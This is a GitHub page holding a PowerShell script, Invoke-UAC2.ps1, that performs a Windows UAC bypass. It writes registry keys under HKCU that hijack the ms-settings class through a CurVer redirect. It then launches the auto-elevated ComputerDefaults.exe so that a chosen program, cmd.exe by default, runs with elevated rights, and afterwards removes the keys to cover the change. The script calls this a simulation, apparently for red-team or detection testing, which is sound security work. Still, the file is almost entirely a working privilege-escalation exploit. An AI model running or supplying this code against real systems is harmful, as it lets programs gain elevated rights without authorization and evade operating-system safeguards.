-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathInvoke-UAC2.ps1
49 lines (44 loc) · 1.54 KB
/
Invoke-UAC2.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<#
.SYNOPSIS
The script simulate user account control bypass by abusing auto elevated process which reads execution parameters from registry.
.DESCRIPTION
Abuses ComputerDefaults auto elevated windows process to execute cmd.exe
.EXAMPLE
Invoke-ComputerDefaults
Description
-----------
Executes ComputerDefaults UAC Bypass
#>
function Invoke-ComputerDefaults {
[CmdletBinding()]
[OutputType([string])]
Param
(
[Parameter(Mandatory = $false)]
[String]$program= 'cmd.exe'
)
Begin {
$me = whoami.exe
$adminNames = Get-LocalGroupMember -Group 'Administrators' | Select-Object -ExpandProperty name
$isAdmin = $adminNames -Contains $me
}
Process {
if( $isAdmin )
{
New-Item "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -Value ".bla" -Force
New-Item "HKCU:\Software\Classes\.bla\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\.bla\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\.bla\Shell\Open\command" -Name "(default)" -Value $program -Force
Start-Sleep -s 1
Start-Process "C:\Windows\System32\ComputerDefaults.exe"
Start-Sleep -s 1
Remove-Item "HKCU:\Software\Classes\ms-settings\CurVer" -Recurse -Force
Remove-Item "HKCU:\Software\Classes\.bla\" -Recurse -Force
}else
{
Add-Type -AssemblyName PresentationFramework;
[System.Windows.MessageBox]::Show('You have to be Administrator');
}
}
}